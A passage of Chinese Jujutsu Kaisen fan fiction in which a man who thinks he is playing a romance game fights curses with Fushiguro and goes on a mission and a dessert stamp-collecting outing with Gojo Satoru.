早知道进游戏时就不全选跳过了,导致外貌、年龄和职业全是默认生成的……明明他的本体其实也在读高中。 “啊你真的是,该说幸好没有想过要去当老师吗……” 伏黑惠吐槽到半途,见到对方的眼睛忽然一亮。 “…………你不会,想去高专当老师吧?” 真的假的,就这个连咒力都搞不明白的水平……? 9、第 9 章 羽取一真确实十分心动。 有什么是比同事还要相处时间更长的关系呢?学生他又没法当。 再说学生迟早是要毕业离开学校的,老师可不会毕业。 但羽取一真不太确定自己能不能当高专的老师,毕竟他这周目的职业是【加茂家主】,而不是【高专教师】。 “我想去应聘试试看,”羽取一真问伏黑惠,“当咒术高专的老师有什么硬性条件吗?” 伏黑惠深吸口气,“…………” 这个人,竟然真的在考虑去高专当老师! 明明今天才开始学咒术相关的常识! “……我也不清楚,” 顶着羽取一真面无表情下的灼灼目光,想回答“这怎么想都做不到吧”的伏黑惠默默转过脑袋,在没有打击对方这份热情的情况下,违心的说道。 “大概,夜蛾校长拥有决定权。” 夜蛾校长。 羽取一真把这个人名记在心里,准备回头就去问问,看能不能解锁一个类似【成为高专教师】的任务。 至于咒力水平太低而不能当老师什么的,他压根没想过这个可能性。 游戏嘛,要是嫌他咒力等级太低,去刷一刷怪,把等级练起来就好了,还能难得倒玩家?看看隔壁的十里坡剑神。 不过,现在重点是完成五条悟的委托,所以战斗技巧应该是……熟练使用攻击技能? 羽取一真跟着伏黑惠越走越偏僻,最后来到下水道。 腥臭与腐烂的气息充斥鼻腔,潮湿的不明黑色物质黏在拱形石壁的每一个角落,污水直往下滴。 往里走几步,还能听见脚步的回响,以及有小动物被惊到窸窸窣窣爬远的动静。 而且,鞋底踩在地面,偶尔还会产生软滑的黏腻感。 从没来过这种地方,羽取一真走得眉毛直蹙。 “…………” 这游戏,倒也不必在这里做的同样如此逼真…! 看出这位加茂家主越走越不情愿,伏黑惠开口解释,“像学校、医院和公司这类负面情绪极易汇聚的场所,高阶咒灵产生的概率要比其它地方高很多。” “不过,假如某个地方发生过命案,也极容易产生特定怨念的咒灵。” “但无论是学校、医院还是公司,想要白天祓除咒灵,还是需要辅助监督来帮忙疏散人员,放下[帐]才行。否则像我们这样直接在普通人面前和咒灵打起来的家伙,会被当成和空气斗殴还受伤的笨蛋吧。” “所以,下水道这种地方就是比较低阶的咒灵会喜欢躲藏,打起来不至于被普通人发现的最佳场所。” 伏黑惠循着咒力残秽的踪迹,用手机的手电筒充当照明,带着他又拐了个弯往更深处走去,边尽量使用通俗易懂的话语跟对方解释。 “郊区和野外自然也会有咒灵,但那些得专门去找怪谈或者都市传说,在没有辅助监督的帮助下,会花费比较长的时间。” “这样啊。” 新手开局在下水道刷怪,他也不是没玩过这类游戏,挺好懂的。 羽取一真点头,在跟着伏黑惠往刷怪点走去的途中,不停的尝试避让从上方滴落的污水,显得格外小心翼翼。 伏黑惠这才注意到,这位加茂家主的着装竟然是相当正式的纹付羽织袴,布料昂贵、做工精致,隆重到甚至可以直接出席政府授勋仪式之类那种格外庄严的场合。 “啊抱歉,没注意到你的衣服不适合在这里行动。” 他略带歉意的停住,“不如我们现在先回去,你换身衣服再说。” 羽取一真低头看眼自己的进游戏默认装束。 由于是进游戏就送的新手装备,穿在身上完全没有战斗属性加成,介绍也只是一句简单的【家主服饰,或许能增加您的气质与魅力】。 但他把加茂家都翻遍了也没找到能增加属性的衣服,索性就一直穿着这身。 反正也没属性加成,他倒无所谓这身衣服在接下来的战斗中会怎么样,只是不喜欢污水滴在身上的感觉。 ——都怪游戏,在这方面也设计得过于逼真。 “没关系。” 羽取一真微微摇头,婉拒了对方还要多跑一遍图的提议。 “都到这里了,继续往前走就好。” “这样啊……你等会如果有什么问题,可以直接告诉我。” 伏黑惠稍微将手里的那束光摆向左手边的位置,示意羽取一真往这边走。 “马上就到了,我已经能清楚感知到它的咒力所在……你还是什么感觉都没有吗?” 羽取一真打开弹窗,确定这上面也没有任何提示。 “没有。” 这声[没有],听起来简直理直气壮。 伏黑惠:“…………” 他抿了抿唇,将那句没有出声的吐槽咽回去。 这、这样要怎么当教师喂……就算是咒力水平低到和普通人没什么区别的咒术师,至少也是可以感知到咒力的啊。 不过,伏黑惠也觉得对方如果想要追求五条悟,肯定也不可能从咒术水平这方面下功夫。 毕竟五条悟本身就已经强到近乎是[怪物]一般的存在,难道这家伙还能靠打赢五条悟后强行逼人结婚吗? 脚下的步伐没停,伏黑惠的眼睛逐渐虚起,透出一点淡淡的无语。 这也太离谱了……完全无法想象出那是副怎样的画面。 但换个角度思考,对方既然能感知到自己的术式,就意味着他至少能够发动。 嗯,还是先来看看他使用术式的水平再说吧,毕竟[赤血操术]是相当灵活的一种术式,在短、中、长距离都可以对敌,几乎没有短板。 “看那边,” 伏黑惠在稍远的位置停下,谨慎地将光束往角落里移过去一点点,仅让微光覆盖到那处角落,连声音也压得极低。 “看见那只两个拳头大的、老鼠形状的生物吗?那就是咒灵。” 羽取一真也随着伏黑惠的指示,看向那只正在啃噬不明物体的东西——光太昏暗,他甚至连模样都没瞧个清楚——弹窗便先一步出现在他眼前。 【您找到了四级[鼠咒灵]。】 【进入战斗:是/否。】 “嗯,”羽取一真意念微动,落在【是】上。 “我来打打看。” ——进入战斗! 那只毛发黑粗到根根炸起,体型庞大又扭曲的红眼鼠型生物瞬间炸起,毫无迟疑地朝羽取一真疾扑而来! 伏黑惠顿时大惊——他原本打算趁这只咒灵不注意,先用[玉犬]压制对方,再让羽取一真尝试使用术式祓除的! 结果他现在还没来得及召唤[玉犬]行动,咒灵却莫名其妙的突然暴起,而且目标明确,直指这位加茂家主! 来不及疑惑了,伏黑惠立刻将手机咬在口中,正要双手比出犬型的倒影—— 吱! 那只鼠型的咒灵发出一声凄惨的悲鸣,在刹那爆发出漆黑怒雷的涌动奔流间,就此烟消云散,连尸体的残秽都没能留下。 强烈的明暗光影转瞬即逝,咒灵顷刻间被彻底碾碎,仅剩右手握拳、平静站在原地的羽取一真。 伏黑惠惊愕到张大嘴,“…………” 他看错了吗,这是[黑闪]? 这可是要让物理攻击与咒力冲击之间的误差在0.000001秒之内,才能打出的高端技巧啊!? 他十次里都未必能成功一次的攻击,这位两小时前连咒力是什么都不懂的加茂家主,随随便便的一挥拳,就打出来了?? 他甚至还没跟对方介绍过这种攻击方式啊! 这不是能超精细的控制自己的咒力吗!?能打出[黑闪]的咒术师,在战斗技巧上根本不需要再教导什么了啊! 在极度震惊之下,伏黑惠的脑海里忽然冒出一个荒谬的念头。 该不会……这个人原本是刻意假装什么都不懂,试图让五条老师来教他,以达到能长时间且理直气壮粘着对方的目的吧? 结果被不解风情的五条老师转手塞给了他…… 伏黑惠越想越沉默。 ……这解释过于荒谬,但莫名合理。 “我说,你……” 伏黑惠正要抬眼向对方验证自己的猜测,就见到这位加茂家主的手中正握着什么东西,下意识脱口问道。 “……那是什么?” “这个啊,咒灵死后掉落的【结晶】。” 只是尝试用意念发动了一次[黑闪],就打出超华丽特效并处决野怪的羽取一真很满意。 更别提,刷怪真的会掉材料。 他手中这枚漆黑的多棱形晶状物体,就是打完这只弱鸡[鼠咒灵]后掉的。 游戏给的介绍倒是很简单。 【四级咒力结晶:可轻微提升咒力量上限。】 但羽取一真翻来覆去看了这枚结晶好几遍,也不知道该怎么用它提升。 “你确定是结晶?” 伏黑惠皱眉,“我从来没听说过咒灵会掉落结晶,倒是有的咒灵因为吸收了咒物,会变得更强……” 羽取一真:“咒物?它们是怎么吸收的?” “就,吞掉吧……你给我等等!?” ………… “好嘞,我来接走这位加茂家的新家主了唷——怎么了惠,脸色好奇怪呢?” 处理完任务的五条悟唰啦一下拉开大门,发现被托付教导羽取一真的伏黑惠,此刻正一整个震惊的坐在沙发上,看起来呆呆的,还挺可爱。 而羽取一真也坐在对面,神情平静的抬手和他打招呼。 “悟,你来啦。” 甚至从善如流的开始只喊名字。 由于不在五条家待着,五条悟也换回了纯黑外套加眼罩的装束,此刻只能看见他好奇的在二人间偏来望去,似乎在做出“打量”的动作。 “惠怎么了?” “他,” 伏黑惠抬手指着羽取一真,语气和表情都格外飘忽。 “竟然把不知道是咒物还是咒灵残秽的东西,直接吃掉了……” 五条悟:“………嗯??” 10、第 10 章 “[吃掉]这种行为我倒是见过很多次,不管是咒物啦,还是咒灵球啦……” 在羽取一真的视角里,戴有漆黑眼罩的五条悟捏着下巴,似乎很费解般,正作出打量他的动作,上半身压得极近,几乎超过了正常的社交距离。 “但是,咒灵打败后会掉落【结晶】什么的,我可是从来没有见过耶?” 尤其是他将说话的语调拉得又长又软,会令人联想到轻飘飘又造型可爱的气球。 或者……也像捏一下就能感觉到极致软绵手感的毛绒绒玩偶? 羽取一真不太确定这点,但不妨碍他对正在自己面前晃来摇去的银白发丝有点蠢蠢欲动,想要伸手去感受是不是真的像想象中那般柔软。 无论是昨天在宴会上见到的墨镜悟,还是此刻见到的眼罩悟,看起来都很棒啊……不愧是由漂亮小悟长成的漂亮大悟。 而此刻,漂亮大悟都在眼前晃悠了,他身为玩家还不能摸摸看吗?不然玩虚拟游戏的乐趣在哪里。 想想看,以前都是控制角色贴贴,现在他可以真的尝试贴贴。 轻松说服了自己的羽取一真抬手就想去偷袭,不是,摸一把五条悟的白毛—— 然后被一层无形的壁障挡住了,指尖只能停在距离五条悟极近的地方,无论如何都没办法再进一步,更别提触碰到目标。 “…………” 羽取一真微微睁大黑瞳,默然失语。 不是吧,这游戏竟然给可攻略对象都做了空气墙?! 难道他全程都只能看不能碰?总不会是担心穿模吧?还有没有道理可讲?玩家的基本贴贴权益在哪里! “嗯?” 五条悟发现羽取一真半晌没回答他的问题,一抬头却发现他正默默从自己的脑袋上收回手——虽然脸上依旧没什么表情,但总感觉挺沮丧的,浑身萦绕着一种格外失落的气息。 “你刚才,是想做什么坏事哦?” 五条悟歪过一点脑袋,唇角弯出揶揄般的愉快笑意。 明显是被他全自动开启的[无下限术式]给挡住了啊,这小子刚才偷偷摸摸的,想对他做什么呢? “只是想摸一下头发而已。” 羽取一真回答道,语气平静得仿佛[因为渴了所以想喝口水]那般若无其事。 “诶呀,那可真是失败了好可惜喔,” 五条悟脸上的笑容更明显了。他直起身甩了甩手,用一种好替对方感到遗憾的语气安慰道。 “或许下次就能成功了呢,你还得再多多努力才行——” 哦?意思是好感度还没有达标,所以才碰不到吗? 羽取一真顿时放下了心,“我会努力的。” 能摸到就等于有机会,他迟早能刷满好感,然后使劲挼对方的头发……咳,他只是想试试手感而已,真的。 ——在这点上,羽取一真完全不承认他的同学兼好友御子柴说出的“你根本就是个白毛控”的犀利评语。 而旁观全程的伏黑惠则以一种与刚才截然不同的心态,陷入了更深的沉默。 “………………” 这两个人,怎么忽然就闪得他没眼看。 那他,还要不要说出对方轻松就能使用[黑闪]这件事……假如他说出来,其实是坏了这位加茂家主的好事怎么办? 时年十五岁、即将就读高专一年级的伏黑惠,看似表情冷淡的放空着,实则头脑正迷茫于从未接触过的情感困境。 就像齿轮卡住,走得异常艰难的钟表——险些就彻底宕机了。 “好啦好啦话题转回来,惠说的【结晶】是什么情况?” 五条悟拍了拍手,光是听他语气就能感觉到心情非常好。 “而且,相比我昨天用[六眼]观察到的情况,你的咒力量竟然真的有增加一点……虽然只有一点点,” ——他将拇指与食指紧贴在一起,完全看不出哪里有比划出[一点点]的架势。 “但确实有增加了啊,这可是很稀奇的现象呢。” 通常来说,如果不借助一些特殊的外部手段,术师体内的咒力总量是很难增加的;但这位家主竟然可以靠吃掉咒灵被祓除后掉落的某样物体来增加咒力量,还直接称呼其为【结晶】? 五条悟很感兴趣。 “嗯,是我的一种升级方式。” 羽取一真点头,实话实说。 “祓除咒灵后(游戏)给的奖励。” “这解释还真是简单易懂。但按理来说,打咒灵又不是顶马里奥方块,打一下就有奖励掉落……” 五条悟捏着下巴沉吟半晌,忽然问出一个偏离重点的问题。 “那个【结晶】,难不难吃?” 伏黑惠:“…………”重点是这个吗!? “没有味道,”羽取一真想了想,“基本上,入口即化。” 准确的说,那枚【结晶】一放入口中就消失不见了,连吞咽这个行为都只是肌肉记忆的顺带,其实他什么味道也没尝出来。 唯一明显的提示就是弹窗蹦出一句【您的咒力量上限轻微提升了!】 可能这动作就类似于在普通游戏做出了一个【吸收结晶】的交互行为,没什么实际意义。 倒是把吓伏黑惠了一大跳,仿佛把他当成什么路边热衷于捡垃圾吃的小孩,狂摇肩膀让他赶紧吐出来。 “是吗?那就好。” 五条悟笑眯眯点起头,“哎呀——真是让人感到不可思议,竟然还有这种奇特的咒力量升级方式。” “之后也得我旁观一下才行呢。” 当他说出这句话时,标注着委托的弹窗立刻蹦出在羽取一真眼前。 【当前委托:五条悟的期望,已完成。】 【奖励:任务组队功能,已解锁。】 羽取一真关掉弹窗,斩钉截铁的回答道。 “没问题。” 然后,五条悟就发觉自己被那双漆黑的眼瞳紧紧盯住了。 就好像在说“我已经完成你的学习要求了,现在你可以带我一起去出任务了吧”。 即使不摘掉阻隔视线的眼罩,他也能明显感受到对方的那份热切——好似将这句无言的话语具现化成了向他这边不断输送的电波,且是以某种相当纯粹的、真挚的情绪,让他都快感到有点无所适从。 没有被这样期待过的五条悟,几乎要反射性想要后退半步。 但随即,自他心底缓慢涌现而出的,是某种更为洋洋得意的情绪,就像阳光下被晒得暖和的猫猫肚皮。 “欸…嗯……” 这位加茂家主,竟然这么想和他一起出任务吗?哎呀呀,真拿他没办法。 “既然如此,虽然眼下还在新年假期中,但正好我接下来还有个不算危险的任务需要出差,就特别允许带上你一起哦!” 五条悟双手一拍,语气欢快的说道。 “不过嘛,要说挺麻烦也是挺麻烦的啦。” “你今天是祓除了一只[鼠]咒灵吧?有没有想过,如果在下水道里,有成千上万只[鼠咒灵]该怎么办?啊,据[窗]传回来的情报,说是似乎有观察到与特级匹配的咒力,不过我觉得不太可能啦。” “但保险起见,还是需要过去亲自看一眼确认才行。” 伏黑惠瞬间惊诧回神,“在这里吗?!” “没有没有,这里是埼玉县,被祓除的应该是只普通的单体[鼠咒灵]。” 五条悟摆了摆手,隔着眼罩,那双漂亮的[六眼]落在身侧羽取一真身上。 “我说的[鼠咒灵]是在山形县呢。稍微离这里有点距离,离京都就更远了,所以……” “没关系,我可以去。”羽取一真接话道。 长老们种的菜也是需要时间才能成熟的,他没必要一直停留在那里,只需要确保在游戏界面里有安排他们干活就可以了。 而且,和规规矩矩待在伏黑惠家里不同,他早就把加茂家整个搜刮一遍了,没找到什么有价值的信息。 这里的【有价值】并不是指金钱上的价格衡量,而是会触发系统判定的有价值——例如增加属性的装备,可接受的任务,以及一些别的功能解锁。 也可能是他还没找对方法,或者时机未到。 但总而言之,现在和漂亮大悟组队一起刷副本比较重要。 “————” 五条悟没有立刻说话,先是露出一个非常高兴的表情,才慢吞吞开口说道。 “好哦,那就安排你也一起来。正好同行里还有位我认识的超正经咒术师,也可以介绍给你呢。如果你在咒力使用方面有哪里不懂,问他也不错。” “等一下,”伏黑惠默默出声。 “或者,五条老师可以亲自指导这位,嗯,加茂家主。” 不要显得太笨了啊,五条老师。 能轻松用出[黑闪]却偏要装作一无所知,粘着你到处跑的家伙,怎么看都是想让你来教才对吧,别推给他们这些无辜群众啊。 “那更好了。” 羽取一真当然愿意多触发几个漂亮大悟的委托,接着解锁更多的奖励,进而刷满对方的好感度,最后成功打出结婚cg。 伏黑惠:“…………”看吧,他就知道。 “嗯……在实战中进行教学吗,确实是我一贯的方针呢,” 五条悟陷入沉吟。 “或者,到时候也可以来试试看……” 于此同时,羽取一真眼前的弹窗也出现了新内容。 【当前任务:鼠咒灵与不如意的休息日。】 【祓除鼠咒灵:0%/100%。】 11、第 11 章 说出差就出差,半点没有耽误时间的五条悟带着羽取一真连夜坐车赶往山形县。 羽取一真关掉弹窗,偏过头看正靠着椅背的五条悟。 他将手肘撑在敞开的车窗上,也顺势保持着一个托腮远眺的姿势。 漆黑的特别定制眼罩彻底遮去了那双漂亮的苍蓝色眼睛,同样让羽取一真摸不准对方到底在发呆还是在睡觉。 毕竟,游戏里的时间显示此刻已来到凌晨四点。 而五条悟来伏黑惠家里接自己时,就已是深夜——当时,伏黑惠都做好了留宿他一晚的打算。 刚完成任务的五条悟,又要立刻奔赴下一个任务吗。 明明在游戏里,现在还是【新年假期】中吧? 这辆轿车平稳行驶着,人造光在夜间始终明亮,不时便从五条悟那边的车窗处溜了进来,连着柔和的夜风一道拂过肌肤,也让那头柔软翘起的白发在光晕中微微摇曳。 羽取一真的黑眸微动,长久地落在那不断晃过的交错光影里。 这个游戏……在某些时候,远比他预想的还要真实。 “呼。我说啦——” 这时,羽取一真突然听到五条悟吐了口气,好似有点无奈般叹出声音,但又显得软绵绵的,拉出一点愉快的弧度——接着,他才将脑袋转过来,面对羽取一真的方向。 “就算你一直盯我到天亮,积累的疲劳也不会消失哦?” 这是在委婉劝他最好赶紧休息吗。 羽取一真眨了下眼,“谢谢关心,不过我现在还不困。” 五条悟冲他歪了点脑袋,“真的——?” “真的。” 羽取一真肯定道,但没办法跟对方解释他为什么不困,毕竟这是因为现实的时间流速与在游戏里感知到的时间流速并不一致,他那边的真正时间还是下午。 “倒是你,不睡一会吗?” 羽取一真反过来关心问他,“我刚才还以为你已经睡着了。” “咦,现在几点?” “四点。” “这样,” 五条悟露出一点恍然的表情,又换了个更懒散的姿势靠在椅背上打呵欠。 “难怪说怎么感觉有点累,原来到我平时睡觉的时间了。” 他这样长手长脚的一米九身高,即使身形劲瘦也不适合窝在轿车里休息,光是看起来就很拥挤,绝对不可能睡得舒服。 “那我先眯一会,到地方了喊我起来哦。” 但五条悟不止没有抱怨,拖着长腔的声音还有点懒洋洋的,像是在撒娇让羽取一真帮他盯梢望风。 “……好。” 羽取一真缓慢点头。 平时凌晨四点才休息,而且看起来很习惯直接在车上打盹,这居然也算是睡过了? 就他刚被科普的御三家情况而言,五条悟既然是御三家之一五条家的家主,应该拥有绝对任性的权力,怎么会为了完成任务把自己弄得这么忙碌。 ……这个游戏的设定与世界观,他或许还真得去好好了解一番才行。 转天的上午,当轿车停稳在目的地,五条悟就精神十足的带着羽取一真下车了。 但顺着那位负责开车的辅助监督指引,羽取一真发现自己又来了下水道,熟悉的臭味与污水再次向他发起攻击。 “…………” 好吧,无论是哪个城市的老鼠,都爱钻下水道。 “嗨呀,七海——怎么样,新年假期过得还愉快吗?” 五条悟向其中一位穿着浅灰色西服的金发青年打招呼,顺便也和羽取一真介绍道,“这位就是七海建人哦,成年人中的成年人,超正经!” “你好。” 羽取一真向他颔首,“我是ying…加茂家主。” 好险,差点就把自己取的昵称脱口而出了。 “你好,我是七海建人。” 七海建人倒是没有什么额外的反应,不仅对他的名字不感到好奇,连回应都显得格外沉稳利落,与五条悟相比,完全是另一个极端。 不过,羽取一真想了想,确信自己还是更喜欢五条悟这样的。 毕竟他的性格已经被御子柴吐槽“光从这副冷酷的外表根本看不出你内心活动竟然这么丰富”了,怎么说也不能再攻略一个看起来更闷的,会很没有话讲。 好比现在,羽取一真和七海建人在互相介绍完后,就没了下文。 五条悟来回打量这两人,发出一声意味不明的感叹。 “这就没啦?” 明明他觉得这个加茂家主的名字超有意思的,七海竟然还能保持这么镇定的表情!了不起! “没了,如果这位加茂家主是被邀请过来的帮手,那么还请专注任务。” 七海建人将他那副无镜腿、仅靠眼窝与鼻梁固定的墨镜往上推了些许,确保等会若是展开战斗,它不会轻易滑落。 “虽然报告说这里观测到了疑似特级的咒灵,但就目前为止,我并未观测到相当异常的情况。” “哦那个啊,我刚才就用[六眼]仔——细确认过啦,没有那种东西呢。” 五条悟抬起手,“但麻烦的东西还是有哦,你看见那边的小家伙了吧?” 顺着五条悟指过去的方向,羽取一真看见了一只与他在伏黑惠那边祓除的[鼠咒灵]长得完全不一样的老鼠。 不止体型小上许多,看起来也更普通且无害。 【您找到了伪特级·[鼠咒灵]之一。】 【进入战斗:是/否。】 羽取一真看了眼弹窗,又切换成【组队】界面,确定自己还和五条悟处于【组队中】的状态。 他现在无论咒力还是术式水平只有四级,面对这种特级的精英怪伤害太低了,就算战斗中会亮出血条,也不知道需要他刮痧多久。 既然有又漂亮又能打的大佬在队伍里,自然由他来决定什么时候开团。 “要战斗吗?”羽取一真问五条悟。 “嗯?不用哦,因为这只老鼠咒灵,不过是在这下水道里藏着的,无数只老鼠咒灵的[分裂体]之一而已。” 五条悟摆手,“比起杀掉一只,导致面临其余老鼠咒灵受到惊扰、四散奔逃的局面,我还是建议先想办法让它们合体,再一口气进行祓除呢。” “——啊,要是直接轰掉这条街也没关系的话,我倒是可以现在就动手啦!” 竖起的手掌变成掐着[苍]手势的二指并拢状态,还调皮的冲羽取一真摇了摇,就像一只大猫在快活甩动它的尾巴尖。 羽取一真“噢”了声,“这办法听起来不错。” 有群攻技能真好啊,他的[黑闪]是单体攻击,一次只能锁定一个目标。 嗯,也不知道[赤血操术]有没有群体范围的攻击方式,否则想要刷怪升级还挺麻烦。 “……请二位都正经一点。” 七海建人的神情平静,但语气听上去颇为无语——他怎么也没想到这位看起来相当冷酷沉静的黑发青年,竟然会一本正经地附和五条悟的玩闹。 “是七海太死正经啦,” 五条悟笑吟吟着转过头,“那就拿张地图过来吧,我来给你画出这些老鼠先生的分布区域哦,让它们合体的事情就拜托你和伊地知负责了!” 伊地知洁高是一路上负责开车送五条悟和羽取一真过来的辅助监督,光从模样上就散发一股社畜的气息。 “虽然是让人感觉难以实现的作战,但也只能先这样尝试去做了,我会联络附近的[窗]尽可能赶来协助。” 昨晚和今天的五条先生心情看起来都很好啊,明明前两天听到要赶回五条家时,还用几声无实意的语气助词强烈表达了自己的不满…… 伊地知洁高默默想着,应下这个要求。 不愧是刷精英副本,还需要先采取针对性的作战方法,最终敲定由伊地知洁高负责文书联络工作,七海建人负责指挥。 由于观测确认老鼠咒灵的个体并没有战斗能力,五条悟可以等[鼠咒灵]合体后再前来进行祓除,不需要一直留在现场坐镇。 听完作战会议的羽取一真向他们微微点头,在始终挂起的是否进入战斗弹窗选择了【否】。 “那么在合体的目标达成之前,先拜托五条先生和加茂先生暂时待机。” “好。” 或许是他的头衔【加茂家主】的缘故,伊地知洁高一直都对他相当客气。 也就是说,咒术界御三家的家主,应该是挺有威望的存在吧?毕竟七海建人对他的用词都是“邀请”,而不是“派遣”。 走在八番町的商业街上,羽取一真安静思索着,身旁的五条悟则抬手伸了个畅快的懒腰。 “哎呀,真是久违的突然闲下来了呢——这算是补偿我失去的新年假期吗?” “…………”听到这声感叹的羽取一真默默开口,“那去年的新年假期呢?” “嗯?我想想啊……应该是在奈良和大阪出任务吧。” “前年的呢?” “在九州……吧?记不太清啦。” “大前年……” “出差中,地点忘了。” 羽取一真:“…………” 很好,确定了,漂亮大悟的作息简直比社畜还要社畜。 就在他思考这个在日本活动的所谓咒术界到底有没有劳动法一说时,五条悟的注意力被街边一家西点店吸引过去了。 “欸?是[令人心跳不已的甜品盖章集邮活动]……海报看起来超外行啊,活动名字也好直白。” 羽取一真也随之停下脚步,认真浏览起这张被五条悟评价为超烂的海报。 “上面写着[在各种店里集齐盖章后,可以获赠限定的秘密甜品]。” 对于喜欢吃甜品的五条悟而言,这份奖励确实容易俘获他的心。 “是哦,而且集邮活动有八天,嗯……这也算是一种在小镇出差时的消遣吧?” 五条悟捏着下巴思索片刻,很痛快的抬腿跨进了门,找服务员要盖章用的衬纸去了。 羽取一真想了想,也要来一张衬纸。 如果能得到两份秘密甜品的话,漂亮大悟应该会更开心吧? 12、第 12 章 在羽取一真拿到这张盖章衬纸后,弹窗竟然还给他弹出了一个任务。 【当前任务:鼠咒灵与不如意的休息日。】 【新增任务:令人心跳不已的甜品盖章集邮活动。】 【收集印章进度:0/16。】 应该是支线任务吧……没想到这张衬纸要盖的章还挺多,竟然要跑遍这条街上的十六家店。 因为发布活动的第一家是西点店,羽取一真和五条悟很快就挑好了小蛋糕,让店员各盖了一枚印章。 顺带一提,五条悟选择刷卡,羽取一真则是支付了现金,用游戏里的金币兑换出来的。 幸好金币兑日元的汇率挺高,他又是为了完成任务,倒也不算特别心疼。 因为西点店快要关门,他们只能并肩坐在夕阳下的公园座椅里。 “没想到你也会打算集邮这个呢——难道说,也是甜食党?” 端着小蛋糕的五条悟向羽取一真这边侧过些身体,露出同好接头般的揶揄窃笑,边用叉子切下一块奶油蛋糕放入口中。 “啊唔,对小镇上的西点店水平真是不能期待太高……” “不好吃吗?” 羽取一真低头看向自己的那份。 他其实不是甜食党,只要没有难吃到天怒人怨,那就基本吃不出这些东西的区别。 尝试吃一口……普通的奶油蛋糕味道。 “就是普通的奶油蛋糕味道啦,”五条悟咬着叉子含糊抱怨。 “但你肯定没吃过东京那边特——别美味的甜品吧?下次带你去尝尝看就会明白了!” “好啊。” 羽取一真欣然答应。 这简直可以算是攻略对象亲自指着某样东西对他说“这是我的好感度礼物,快给我送”了,他岂有不去之理。 两三口解决掉蛋糕,五条悟起身拍了拍衣服,双手揣在制服上衣的口袋里。 至于蛋糕的包装盒和叉子,早就被他用[苍]捏成小小的一块握在掌心,准备带回酒店再扔掉。 “走吧,带你去酒店里哦,昨晚几乎没有睡觉的家伙,今天还是早点休息比较好——你可没有反转术式能用来治愈大脑的损伤吧?” “确实没有这个技能。” 羽取一真动作很快地吃完蛋糕,关掉【你的体力值增加了!】的弹窗,起身跟上五条悟的脚步。 “反转术式是什么?” “啊那个,可是能够做到身体再生,甚至是更了不起的事情哦。简单来说就是简单来说就是将负向能量的咒力相乘,可以反转成正向能量……” “…听不懂。” 攻击技能都是游戏帮忙使用出来的羽取一真实话实说。 “那按照硝子的说法,就是将咒力咻——的一下,然后嗖的一下,再咻——嗖一下……” “…更加听不懂。” “这样吗?那我得努力想出能教会你的第三种办法才行……” 五条悟似乎笑出了愉快的声音,零零落落地散在拂过二人的轻柔晚风里。 ………… 作为“被”邀请来的“强力”帮手,羽取一真也被邀请参加第二天的作战会议。 根据伊地知洁高的数据,他们目前不仅需要花费大约五天时间,将在下水道观测到的无数[鼠咒灵]驱赶到一处,同时也必须防备周边是否会同时产生其它高阶咒灵。 能在下水道生成如此多数量的[鼠咒灵],这股庞大的负面能量未必不能诞生出其它咒灵来——只是根据弱肉强食的地盘划分,那些咒灵都分散去了附近地方,需要安排[窗]先仔细搜寻一遍。 因此,五条悟不得不在这几天内都停留在山形县,暂时无法去处理其余地方的任务。 也多亏这样,在[鼠咒灵]尚未合体前,他还算能抽出一点空隙来参加集邮活动。 “噢,第二家是日式点心店呢,真不错啊,这种与蛋糕截然不同的甜味我也很喜欢——” 五条悟兴致勃勃的打量着橱窗,同样需要集邮的羽取一真自然是跟他一起在这些甜点的面前走走停停。 “团子啦,大福啦,铜锣烧啦,无论哪种都相当的令人着迷!” 难得能跟人谈起自己的兴趣,还不会被中途打断或吐槽,五条悟侧头对羽取一真笑眯眯介绍着,而羽取一真也在认真的听他推荐。 “但是羊羹不太行啦,羊羹稍微有点涩了,完全不在我的好球区里呢。如何,这些你喜欢哪种?” “我的话……” 羽取一真扫了眼甜点琳琅满目的橱窗,放弃摇头,顺带不着痕迹夸他一下。 “你是专业的,我买和你一样的就好。” “哼哼,那是当然的!” 五条悟冲他比出个得意的拇指,然后转头跟店员下单。 “打扰了,麻烦给我们一人一个草莓大福,然后在这两张衬纸上盖章——” “好哦!” 哪怕遇见两个身高一米九左右的大男人结伴来买甜品,一个戴着眼罩语气活泼,一个面无表情气质冷漠,店员小姐姐也能始终维持良好的职业服务态度,在不露出半点诧异的情况下,笑容满面的将两张衬纸接过来。 “啊,是[令人心跳不已的甜品盖章集邮活动]吧?那个哦,不好意思……想盖章的话,需要购入规定商品才行呢。” 五条悟闻言一愣,“欸?草莓大福不行吗?” “不行呢。”店员小姐姐依旧保持着笑容摇头。 “唔啊…没事啦,就稍微盖一下嘛,反正也不会有人生气啦——” 羽取一真听着五条悟的声音都变软了,翘起的白毛晃来晃去,开始对着店员撒娇,试图用草莓大福萌混过关。 ……救命,这个可爱程度突然翻倍到犯规。 如果换成他的话,肯定会啪啪就盖满印章了吧,毫无抵抗力的那种。 羽取一真默默捂住嘴,眼神沉凝。从外人的视角看起来,似乎只是在进行冷静的思考。 “不行呢。” 但店员小姐姐扛住了五条悟的撒娇。 五条悟:“欸………” 店员小姐姐:“顺带一提,盖章的规定商品是羊羹喔!” “咕唔……” 五条悟发出泄气的声音,白毛尖尖也垂了下去,“那就,羊羹两个,拜托你了……” “感谢惠顾——” 羽取一真也没想到最后结账的竟然是五条悟最不想吃的羊羹,以至于他整个人都是肉眼可见的超级失望。 “唉,偏偏是羊羹……明明买哪个都给盖章也没关系吧,” 出门后的五条悟还在和羽取一真抱怨,“再说,草莓大福明明比羊羹还贵呢……” “那我再买两个草莓大福。” 羽取一真反身就要回去,反而被五条悟伸手拦住。 “买多了就会吃不完浪费哦?算啦,不如意也是一种乐趣!” 五条悟这么说着,拍了拍羽取一真的肩膀——虽然有空气墙在,后者完全没有被拍到的实感。 “接下来就去第二家!欸……茶叶店?不是甜品集邮吗?唔也行,茶叶的话,和羊羹搭配或许也还行……” 边这么安慰着自己,五条悟带着羽取一真去买了两罐茶叶、顺带盖了个章出来。 “然后下一家是……炸肉饼!?” “再下一家是菠萝……” “再下一家是花束……” “再下一家是手持电风扇……” “………” “……这到底哪里算是甜品集邮活动了啊!” 跟羽取一真拎着各种购物袋走在街头,五条悟叹着气大声抱怨,“结果只有昨晚吃到了甜品而已!明明是甜品集邮!还有这件超前卫的老虎花纹衬衫,是要我穿吗?根本和我的大帅哥气质完全不搭调嘛!” “……活动策划啊,就是这样的。” 羽取一真安慰道。 他在打游戏的时候,无论什么奇怪的支线都做过,大部分都是些又臭又长的各种跑图,或者就是一环扣一环的找东西、买东西、修东西…… 因此,对于这种压根不是甜品集邮的集邮活动,他也早就做好了心理准备。 【当前任务:令人心跳不已的甜品盖章集邮活动。】 